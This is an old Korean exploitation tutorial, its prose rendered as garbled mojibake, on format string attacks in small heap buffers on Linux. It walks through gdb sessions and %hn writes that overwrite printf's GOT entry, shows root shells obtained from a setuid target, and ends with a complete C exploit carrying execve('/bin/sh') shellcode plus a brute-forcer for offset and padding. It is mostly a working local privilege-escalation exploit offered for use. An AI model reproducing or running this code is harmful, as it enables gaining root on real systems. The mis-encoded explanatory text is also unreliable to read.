======================================================================================= Title: ÀÛÀº ¹öÆÛ¿¡¼­ format string °ø°Ý Çϱâ Author : À¯µ¿ÈÆ (Xpl017Elz) in INetCop E-mail : szoahc@hotmail.com Home: http://x82.inetcop.org & http://x82.i21c.net ======================================================================================= 0x00. Overview 0x01. Training 0x02. Small buffer format string attack 0x00. Overview format string °ø°Ý¿¡ ´ëÇؼ­´Â ÀÌ¹Ì ¸¹Àº ¹®ÇåÀÌ ÀÎÅÍ³Ý»ó¿¡ °ø°³µÇ¾î ÀÖ½À´Ï´Ù. À̹ø °­Á´ ÀÛÀº ¹öÆÛ¿¡¼­ format string °ø°ÝÀ» ÇÒ¶§ ÀÌ¿ëÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀ» °£´ÜÈ÷ Àû¾îº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. 0x01. Training ´ÙÀ½Àº heap ±â¹Ý format string Ãë¾àÁ¡¿¡ ³ëÃâµÇ¾î ÀÖ´Â codeÀÔ´Ï´Ù. ¾ÕÀ¸·Î ¼³¸íµå¸± ³»¿ëÀ» ÀÌÇØÇÏ·Á¸é, $-flag format string¿¡ ´ëÇØ ¹Ýµå½Ã ¾Ë¾Æ¾ß ÇÕ´Ï´Ù. --- test1.c ---------------------------------------------------------------------- int main(int argc, char *argv[]) { char *x=(char *)malloc(40); strncpy(x,argv[1],40); printf(x); printf("\n"); } ---------------------------------------------------------------------------------- $ ./vuln %x%x%x 8049770bfffdb68400311eb $ 0x08049770Àº mallocÀ» ÅëÇØ ¼±¾ðÇÑ heap º¯¼ö ÁÖ¼ÒÀÔ´Ï´Ù. ÀÌ º¯¼ö¿¡´Â ¹æ±Ý Á¦°¡ ÀÔ·ÂÇÑ "%x%x%x"°¡ ÀúÀåµÉ °ÍÀÔ´Ï´Ù. $ gdb -q vuln (gdb) br *main+70 Breakpoint 1 at 0x804847e (gdb) r %x%x%x Starting program: /tmp/vuln %x%x%x 8049770bfffdb68400311eb Breakpoint 1, 0x804847e in main () (gdb) x/8 0x08049770 0x8049770: 0x78257825 0x00007825 0x00000000 0x00000000 0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) ¸¸¾à, ÀÔ·ÂÇÑ °ªÀÌ heap¿¡ ÀúÀåµÈ´Ù¸é ÀÌ°ÍÀ» °ø·«ÇÏ´Â °ÍÀº ¾î·Æ½À´Ï´Ù. ±× ÀÌÀ¯´Â format stringÀÌ ÂüÁ¶ÇÒ ÁÖ¼Ò°ªÀ» ãÀ» ¼ö ¾ø±â ¶§¹®ÀÔ´Ï´Ù. ÇÏÁö¸¸, stack¿¡ ¹æ±Ý °ø°ÝÀÚ°¡ ÀÔ·ÂÇß´ø °ªÀÌ ÀúÀåµÈ´Ù¸é, À̾߱â´Â ´Þ¶óÁý´Ï´Ù. ³×, ±×·¸½À´Ï´Ù. stack¿¡´Â ºÐ¸í °ø°ÝÀÚ°¡ ¹æ±Ý ÀÔ·ÂÇÑ °ªÀÌ ÀúÀåµË´Ï´Ù. (Á¶»çÇغ¸¸é ȯ°æº¯¼ö°¡ ÀúÀåµÇ´Â ¾ÕºÎºÐ¿¡ ÀûÀçµÇ¾î ÀÖ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.) ... 0xbfffdc97: "i586" 0xbfffdc9c: "/tmp/vuln" 0xbfffdca6: "%x%x%x" <- ÀÌ ºÎºÐ. 0xbfffdcad: "LESSOPEN=|lesspipe.sh %s" 0xbfffdcc7: "QT_HANFONT=-*-kodig-medium-r-normal--12-*-ksc5601.1987-0,-*-kodig-medium-r-normal--14-*-ksc5601.1987-0,-*-kodig-medium-r-normal--16-*-ksc5601.1987-0,-*-kodig-medium-r-normal--18-*-ksc5601.1987-0,-*-ko"... (gdb) 0xbfffdd8f: "dig-medium-r-normal--20-*-ksc5601.1987-0,-*-kodig-medium-r-normal--24-*-ksc5601.1987-0" 0xbfffdde6: "QT_KEYBOARD=2" 0xbfffddf4: "HISTSIZE=1000" ... "%x%x%x"°¡ º¸À̽ÃÁÒ? ³×, ¹Ù·Î 0xbfffdca6¿¡ ÀúÀåµÇ´Â retlocÀÇ °ªÀ» ¿ì¸®´Â %8x%8x%8x³ª, $-flag¸¦ ÅëÇØ µµ´ÞÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù. ÀÌ·¸°Ô Çؼ­ º¯¼öÀÇ ³»¿ëÀÌ heap¿¡ ÀúÀåµÊ¿¡µµ ºÒ±¸ÇÏ°í exploitÀ» °¡´ÉÇÏ°Ô ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÂüÁ¶ÇÒ ÁÖ¼Ò°ªÀÇ À§Ä¡´Â ´ÙÀ½°ú °°ÀÌ ÁüÀÛÇÏ¿© ãÀ» ¼ö ÀÖ½À´Ï´Ù. $ ./vuln AAAA%88\$x%89\$x%90\$x AAAA414141412438382539382578 $ gdb -q vuln (gdb) disass printf Dump of assembler code for function printf: 0x8048364 : jmp *0x8049510 0x804836a : push $0x20 0x804836f : jmp 0x8048314 <_init+48> End of assembler dump. (gdb) gdb¿¡¼­ testing Çϸé, ½ÇÁ¦ shellÀÇ °á°ú¿Í´Â ¾à°£ ´Ù¸¨´Ï´Ù. ¾î·µç, ´ÙÀ½°ú °°ÀÌ format code¸¦ ¿Ï¼ºÇÏ¿© ½ÃÇèÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. $ gdb -q vuln (gdb) r `printf "\x10\x95\x04\x08\x12\x95\x04\x08"`%16697x%91\$hn%00257x%90\$hnAA Starting program: /tmp/vuln `printf "\x10\x95\x04\x08\x12\x95\x04\x08"`%16697x%91\$hn%00257x%90\$hnAA ... Program received signal SIGSEGV, Segmentation fault. 0x41414242 in ?? () (gdb) %16697xÀº 0x4141À» °ªÀÔ´Ï´Ù. ÀÌ °ªÀ» ¸ÕÀú 0x08049512¿¡ ÀúÀåÇÏ¿´½À´Ï´Ù. ±×¸®°í, %257x (0x4242¿¡¼­ 0x4141¸¦ Á¦¿ÜÇÑ °ª)À» 0x08049510¿¡ ÀúÀåÇÏ¿´½À´Ï´Ù. ÀÌ·¸°Ô Çؼ­ 0x41414242 °ªÀ» GOT¿¡ ÀúÀåÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. ¾Õ¼­, ÀÔ·ÂÇØÁØ °ªÀ» format stringÀÌ ÂüÁ¶ÇÒ ¼ö ÀÖµµ·Ï ¿ì¸®´Â $-flag¸¦ ÀÌ¿ëÇß½À´Ï´Ù. ±×·±µ¥ ¸¸¾à, À§ÀÇ format stringÀ» ÀÔ·ÂÇÒ ¼ö ¾ø´Â ¾ÆÁÖ ÀÛÀº ¹öÆÛ¿¡ format string Ãë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù¸é, ¾î¶»°Ô exploit ÇÒ±î¿ä? ÀÚ, ´ÙÀ½À¸·Î ³Ñ¾î°©½Ã´Ù. 0x02. Small buffer format string attack Àá±ñ, format stringÀÌ ¾î¶»°Ô ÁÖ¼Ò¸¦ ÂüÁ¶ÇÏ´ÂÁö ¾Ë¾Æº¾½Ã´Ù. ÀÌ°ÍÀº ¿©·¯ºÐµéÀÌ ÀÌ¹Ì ¾Ë°íÀÖ´Â ´Ü¼øÇÑ ³»¿ëÀÏ °ÍÀÔ´Ï´Ù. int main() { char string[]="It's test!"; char format_str[]="\x41\x41\x41\x41%s\n"; printf(format_str); } À§¿¡ 0x41414141¿¡´Â "It's test!"°¡ Á¸ÀçÇÏ°í ÀÖ´Â ÁÖ¼Ò°ªÀ» ³ÖÀ» °ÍÀÔ´Ï´Ù. gdb·Î º¸¸é, ¹®ÀÚ¿­ÀÌ 0x8048470¿¡ ÀÖ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù. (gdb) x/s 0x8048470 0x8048470 <_IO_stdin_used+4>: "It's test!" (gdb) ±×·³ ÀÌ ÁÖ¼Ò¸¦ ´ëÀÔÇغ¾½Ã´Ù. $ cat > patch --- test.c Tue Jun 3 20:47:51 2003 +++ test.patch.c Tue Jun 3 20:48:02 2003 @@ -1,6 +1,6 @@ int main() { char string[]="It's test!"; - char format_str[]="\x41\x41\x41\x41%s\n"; + char format_str[]="\x70\x84\x04\x08%s\n"; printf(format_str); } ^C $ patch < patch patching file `test.c' $ gcc -o test test.c && ./test It's test! $ ÀÚ, ¿¹»óÇÏ´øµ¥·Î `%s' format stringÀº 0x08048470 ÁÖ¼Ò°ªÀÇ ³»¿ëÀ» ÂüÁ¶ÇÏ¿© ±× ³»¿ëÀ» Ãâ·ÂÇØÁÖ¾ú½À´Ï´Ù. ÀÌ¿Í °°ÀÌ format stringÀ» ÅëÇØ ÁÖ¼Ò°ªÀ» ÂüÁ¶ÇÏ°Ô Çϰųª º¯°æÇϱâ À§ÇØ (%hn or %n), °ø°ÝÀÚµéÀº GOT, .dtors return addressµîÀÇ µ¤¾î¾²°íÀÚ ÇÏ´Â ÁÖ¼Ò°ªÀ» ³Ö¾îÁÝ´Ï´Ù. ÀÌ¹Ì ¾Õ¿¡¼­ ½ÃÇèÇغ¸¾ÒµíÀÌ °ø°ÝÀÚ°¡ ÀÔ·ÂÇÑ °ªÀÌ ¿ì¸®°¡ format stringÀ» ÅëÇØ µµ´ÞÇÒ ¼ö ÀÖ´Â stack»ó Á¸ÀçÇÑ´Ù¸é, $-flag³ª %8x µûÀ§¸¦ »ç¿ëÇÏ¿© °ø°ÝÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. ³×, ±×·¸½À´Ï´Ù. °ø°ÝÀÚ°¡ µ¤¾î¾²°íÀÚ ÇÏ´Â À§Ä¡ÀÇ ÁÖ¼Ò°ªÀÌ stack¿¡ ÀúÀåµÇ¾î ÀÖ´Ù¸é format string ¾Õ¿¡ ÁÖ¼Ò°ªÀ» ÀÔ·ÂÇÏÁö ¾Ê¾Æµµ µÈ´Ù´Â ÀǹÌÀÔ´Ï´Ù. Áï, ±âÁ¸¿¡ format string code ¾Õ¿¡ ÀÔ·ÂÇß´ø, GOT, .dtors, return address (ª°Ô´Â 8byte, ÀϹÝÀûÀ¸·Î´Â 16byte, ±æ°Ô´Â 32byte) ÁÖ¼Ò ÄÚµå´Â ÀÌÁ¦ ´õ ÀÌ»ó ÇÊ¿äÇÏÁö ¾Ê½À´Ï´Ù. ±×·¸´Ù¸é, °ø°ÝÀÚ°¡ µ¤¾î¾²°íÀÚ ÇÏ´Â À§Ä¡ÀÇ ÁÖ¼Ò°ªÀ» ¾î´À °÷¿¡ ¾î¶»°Ô ÀúÀåÇÒ±î¿ä? °¡Àå ½±°Ô local¿¡¼­ Á¢±ÙÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀº ȯ°æº¯¼ö¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÌ ÀÖ½À´Ï´Ù. ȯ°æ º¯¼ö¸¦ ÀÌ¿ëÇÏ¿© °ªÀ» ÀúÀåÇϸé, $-flag¸¦ ÅëÇØ stack »ó¿¡ ÀúÀåµÈ ÁÖ¼Ò¸¦ ÂüÁ¶ÇÏ°Ô ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÀÌ·¸°Ô µÇ¸é °ø°Ý ½Ã, shellcode ÁÖ¼Ò¸¦ 2¹ø¿¡ ³ª´©¾î 10Áø¼ö·Î º¯È¯ÇÑ °ª¸¸ ÇÊ¿ä·Î ÇÏ°Ô µË´Ï´Ù. °á±¹, 30byte ÀÌÇÏÀÇ ÀÛÀº ¹öÆÛ È¯°æ¿¡¼­ format string exploitÀÌ °¡´ÉÇÏ°Ô µË´Ï´Ù. À½... ±×¸®°í ¶Ç ´Ù¸¥ ¹æ¹ýÀ¸·Î »ý°¢ÇÒ ¼ö ÀÖ´Â °ÍÀÌ ¹Ù·Î, argument ÀÔ´Ï´Ù. ¸¸¾à argument 0¿¡ format string code¸¦ ÀÔ·ÂÇÑ´Ù¸é, stack¿¡ ÀúÀåµÇ´Â ¿µ¿ªÀº ȯ°æº¯¼öº¸´Ù °¡±î¿î °Å¸®¿¡ Á¸ÀçÇϱ⠶§¹®¿¡ ¸Å¿ì ÀÛÀº ¹öÆÛ¿¡¼­ À¯¿ëÇÏ°Ô exploitÀ» ÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ÀÚ, ±×·³ ¸ÕÀú ȯ°æº¯¼ö¸¦ ÀÌ¿ëÇÑ exploit Çغ¸°Ú½À´Ï´Ù. eggshellÀ» ½ÇÇà½ÃÄѳõÀº ÈÄ, # ./eggshell Using shellcode address: 0xbffff9a8 bash# export A=`perl -e 'print "\x10\x95\x04\x08\x12\x95\x04\x08"x20'` A¶ó´Â ȯ°æº¯¼ö¿¡ GOT address¸¦ ÀúÀåÇß½À´Ï´Ù. bash# gdb -q vuln (gdb) r %49151x%261\$hn%15641x%262\$hn Starting program: /tmp/vuln %49151x%261\$hn%15641x%262\$hn ... Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001780 in _start () at rtld.c:142 142 rtld.c: No such file or directory. (gdb) c Continuing. bash# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) bash# exit exit Program exited normally. (gdb) q bash# ¿ª½Ã ¿¹»óÇß´ø´ë·Î format string¸¸À» ¹öÆÛ¿¡ Áý¾î³Ö¾î shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. (´Ü, 28byte ¼Ò¿ä) ȯ°æº¯¼ö°¡ ¾Æ´Ñ, argument¸¦ ÅëÇØ exploit ÇÒ °æ¿ì, ´õ ÀÛÀº ¹öÆÛ¿¡¼­µµ exploitÀÌ °¡´ÉÇÕ´Ï´Ù. bash-2.04# cat test.c main() { execl("./vuln","\xb8\x95\x04\x08\xba\x95\x04\x08","%49151x%97$hn%14775x%96$hn",0); } bash-2.04# ./test ... ... ... sh-2.04# WoW~ argument 0¹ø°¿¡ GOT address code¸¦ »ðÀÔÇϹǷνá, stack»ó¿¡ °Å¸®°¡ °¡±î¿öÁ³½À´Ï´Ù. (%96$x%97$x) ÀÌ·Î ÀÎÇØ °ø°ÝÇÒ ¼ö ÀÖ´Â ¹öÆÛÀÇ ÃÖ¼Ò Å©±â´Â 26byte°¡ µÇ¾ú½À´Ï´Ù. ÀÚ, ¿©Å±îÁö Áõ¸íÇÑ´ë·Î, ¹öÆÛÀÇ ÃÖ¼Ò Å©±â 26byte¿¡¼­ format string exploitÀÌ °¡´ÉÇÕ´Ï´Ù. ¸¸¾à remoteÀÇ È¯°æÀ̰ųª ȯ°æº¯¼ö¿¡ ƯÁ¤ °ªÀ» ÀúÀåÇÏÁö ¸øÇÒ °æ¿ì¿¡´Â ÇÁ·Î±×·¥¿¡ ¾²ÀÌ´Â stackÀ» ÀÌ¿ëÇصµ ÁÁ½À´Ï´Ù. (¿¹¸¦ µé¸é, »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¿ä±¸ÇÏ´Â ÇÁ·Î±×·¥) ¿©·¯ºÐµéÀÌ Á÷Á¢ Linux¿¡¼­ Æí¸®ÇÏ°Ô exploitÇÒ ¼ö ÀÖµµ·Ï exploit code¸¦ ÁغñÇغ¸¾Ò½À´Ï´Ù. Çϳª´Â ȯ°æº¯¼ö¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÌ°í, ¶Ç ´Ù¸¥ Çϳª´Â argument¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÔ´Ï´Ù. µÎ ¹æ¹ý ´Ù 30byte ÀÌÇÏÀÇ ÀÛÀº ¹öÆÛ È¯°æ¿¡¼­ exploit ÇÒ ¼ö ÀÖ½À´Ï´Ù. ½ÇÇà ¿¹Á¦: -- [root@xpl017elz /tmp]# chmod 6755 vuln [root@xpl017elz /tmp]# su x82 [x82@xpl017elz /tmp]$ ./0x82-sfmt_xpl Proof of Concept 26byte small buffer format string exploit. [+] GOT (printf) address: 0x8049510 [+] Shellcode address: 0xbfffffb7 [+] Attack mode: Environment variable. [+] flag and pad brute-force mode: ........................................................................ [*] Found it!!! [+] Pad: 3 [+] Flag: 72 [+] Attack format string: %49151x%73$hn%16312x%72$hn [+] code size: 26byte [*] Input [ENTER]: ... 8049770 ... ... bash# -- °¨»çÇÕ´Ï´Ù. -- º° ÷ code -- =========== vuln.c =========== /* ** ** code À̸§: vuln.c ** ¼³ ¸í: format string Ãë¾àÁ¡¿¡ ³ëÃâµÈ code. ** */ int main(int argc, char *argv[]) { char *x0x=(char *)malloc(26); strncpy(x0x,argv[1],26); printf(x0x); printf("\n"); } =========== eoc ============== ====== 0x82-sfmt_xpl.c ======= /* ** ** code À̸§: 0x82-sfmt_xpl.c ** ¼³ ¸í: ÀÛÀº ¹öÆÛ(26byte)¿¡¼­ format string °ø°ÝÀ» ½ÃµµÇÒ exploit code. ** */ #include #include #include #include #define OBJDUMP "/usr/bin/objdump" #define GREP "/bin/grep" #define AWK "/bin/awk" #define TARGET "./vuln" #define d_size (0x000000ff) #define s_size (sizeof(int)*4) #define df_flg (0x0000012c) int scs=(0); int arg=(0); int flag=(1); int m_pad=(4),pad; int jnk_one,jnk_two; u_long got,shr; char tg_f_nm[(d_size)]=(TARGET); char shellcode[]= "\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40" "\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40\x90\x40" "\x90\x40\x90\x40\x90\x40\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; u_long __get_dtors(char *f_name); void __mk_str_code(char *env_arg_atk,char *exec_t,char *got_buf); void tl_exploit_f(int fd,char *env_arg_atk,char *exec_t); void cpl_usage(char *f_name); void banrl(); int main(int argc,char *argv[]) { int whgl; pid_t pid; struct stat s_t; char exec_t[(d_size)]; char env_arg_atk[(d_size)]; char got_buf[(s_size)]; memset((char *)got_buf,0,sizeof(got_buf)); memset((char *)env_arg_atk,0,sizeof(env_arg_atk)); memset((char *)exec_t,0,sizeof(exec_t)); (void)banrl(); while((whgl=getopt(argc,argv,"M:m:T:t:F:f:P:p:Hh"))!=EOF) { extern char *optarg; switch(whgl) { case 'M': case 'm': if((arg=atoi(optarg))>1) { (void)cpl_usage(argv[0]); } break; case 'T': case 't': memset((char *)tg_f_nm,0,sizeof(tg_f_nm)); strncpy(tg_f_nm,optarg,sizeof(tg_f_nm)-1); break; case 'F': case 'f': if((flag=atoi(optarg))>(df_flg)) { fprintf(stderr," [-] $-flag value error.\n\n"); exit(-1); } break; case 'P': case 'p': m_pad=atoi(optarg); break; case 'H': case 'h': (void)cpl_usage(argv[0]); break; case '?': (void)cpl_usage(argv[0]); break; } } if((stat((tg_f_nm),&s_t)!=0)) { fprintf(stderr," [-] target program path: %s not found.\n\n",(tg_f_nm)); exit(-1); } got=(__get_dtors(tg_f_nm)); shr=((0xbfffffff)-(strlen(shellcode))); if((!got)) { fprintf(stdout," [-] GOT (printf) address getting failed.\n\n"); exit(-1); } fprintf(stdout," [+] GOT (printf) address: %p\n",got); fprintf(stdout," [+] Shellcode address: %p\n",shr); fprintf(stdout," [+] Attack mode: %s.\n", (arg)?"Argument":"Environment variable"); got_buf[0]=got_buf[4]=(got&0x000000ff)>>0; got_buf[1]=got_buf[5]=(got&0x0000ff00)>>8; got_buf[2]=got_buf[6]=(got&0x00ff0000)>>16; got_buf[3]=got_buf[7]=(got&0xff000000)>>24; got_buf[4]+=(0x2); jnk_one=((shr&0xffff0000)>>16); jnk_two=((shr&0x0000ffff)>>0)-(jnk_one); fprintf(stdout," [+] flag and pad brute-force mode:\n "); for(;flag<=(df_flg);flag++) { fprintf(stdout,"."); fflush(stdout); for(pad=0;pad<=(m_pad);pad++) { int out[2],in[2]; (void)__mk_str_code(env_arg_atk,exec_t,got_buf); if(pipe(out)==-1) { perror(" [-] pipe (out) error"); exit(-1); } if(pipe(in)==-1) { perror(" [-] pipe (in) error"); exit(-1); } switch(pid=fork()) { case -1: perror(" [-] fork() error"); break; case 0: close(out[0]); close(in[1]); dup2(out[1],STDOUT_FILENO); dup2(in[0],STDIN_FILENO); { char *test_emt[3]; if(!arg) { test_emt[0]=(env_arg_atk); test_emt[1]=(shellcode); test_emt[2]=(NULL); execle(tg_f_nm,tg_f_nm,exec_t,NULL,test_emt); } else { test_emt[0]=(shellcode); test_emt[1]=(NULL); execle(tg_f_nm,env_arg_atk,exec_t,NULL,test_emt); } } break; default: close(out[1]); close(in[0]); (void)tl_exploit_f(out[0],env_arg_atk,exec_t); close(out[0]); close(in[1]); break; } wait(&pid); } } if(!scs) { fprintf(stdout,"\n [-] Sorry, GOT address not found.\n\n"); exit(-1); } } u_long __get_dtors(char *f_name) { char st_exec[(d_size)*2]; FILE *fp; char fd_addr[(s_size)]; memset((char *)st_exec,0,sizeof(st_exec)); snprintf(st_exec,sizeof(st_exec)-1, // objdump -R ./vuln | grep printf "%s -R %s" " | %s printf" " | %s -F\" \"" " '{print $1}'", (OBJDUMP),f_name,(GREP),(AWK)); if((fp=(FILE *)popen(st_exec,"r"))==NULL) { perror(" [-] popen() error"); exit(-1); } memset((char *)fd_addr,0,sizeof(fd_addr)); fgets(fd_addr,sizeof(fd_addr)-1,fp); pclose(fp); return(strtoul(fd_addr,NULL,sizeof(fd_addr))); } void __mk_str_code(char *env_arg_atk,char *exec_t,char *got_buf) { char pad_t[(s_size)]; int cl_pad=(pad); memset((char *)pad_t,0,sizeof(pad_t)); while(cl_pad) { cl_pad--; pad_t[cl_pad]='+'; } memset((char *)env_arg_atk,0,(d_size)); snprintf(env_arg_atk,(d_size)-1,"%s%s",got_buf,pad_t); memset((char *)exec_t,0,(d_size)); snprintf(exec_t,(d_size)-1,"0000000%%%d$xx0000000%%%d$xx",flag,flag+1); } void tl_exploit_f(int fd,char *env_arg_atk,char *exec_t) { char *r_emt[3]; char rslt[(d_size)]; char rslt_buf[(d_size)]; memset((char *)rslt,0,sizeof(rslt)); memset((char *)rslt_buf,0,sizeof(rslt_buf)); read(fd,rslt,sizeof(rslt)-1); snprintf(rslt_buf,sizeof(rslt_buf)-1,"0000000%xx0000000%xx",got,got+2); if(strstr(rslt,rslt_buf)) { scs+=(1); fprintf(stdout,"\n [*] Found it!!!\n"); fprintf(stdout," [+] Pad: %d\n",pad); fprintf(stdout," [+] Flag: %d\n",flag); memset((char *)exec_t,0,(d_size)); snprintf(exec_t,(d_size)-1,"%%%dx%%%d$hn%%%dx%%%d$hn",jnk_one,flag+1,jnk_two,flag); fprintf(stdout," [+] Attack format string: %s\n",exec_t); fprintf(stdout," [+] code size: %dbyte\n",strlen(exec_t)); fprintf(stdout," [*] Input [ENTER]: "); fflush(stdout); getchar(); if(!arg) { r_emt[0]=(env_arg_atk); r_emt[1]=(shellcode); r_emt[2]=(NULL); execle(tg_f_nm,tg_f_nm,exec_t,NULL,r_emt); } else { r_emt[0]=(shellcode); r_emt[1]=(NULL); execle(tg_f_nm,env_arg_atk,exec_t,NULL,r_emt); } } } void cpl_usage(char *f_name) { fprintf(stdout," Usage: %s -option argument\n\n",f_name); fprintf(stdout,"\t -m [target num] : Select exploit mode. (default: %d)\n",arg); fprintf(stdout,"\t\t\t{0} : Environment variable.\n"); fprintf(stdout,"\t\t\t{1} : Argument.\n"); fprintf(stdout,"\t -t [target path] : target program path. (default: %s)\n",tg_f_nm); fprintf(stdout,"\t -f [flag num] : $-flag number. (default: %d)\n",flag); fprintf(stdout,"\t -p [pad num] : max pad number. (default: %d)\n",m_pad); fprintf(stdout,"\t -h : help information.\n\n"); fprintf(stdout," Example: %s -t%s -m%d\n\n",f_name,tg_f_nm,arg); exit(-1); } void banrl() { fprintf(stdout,"\n Proof of Concept 26byte small buffer format string exploit.\n\n"); } =========== eoc ==============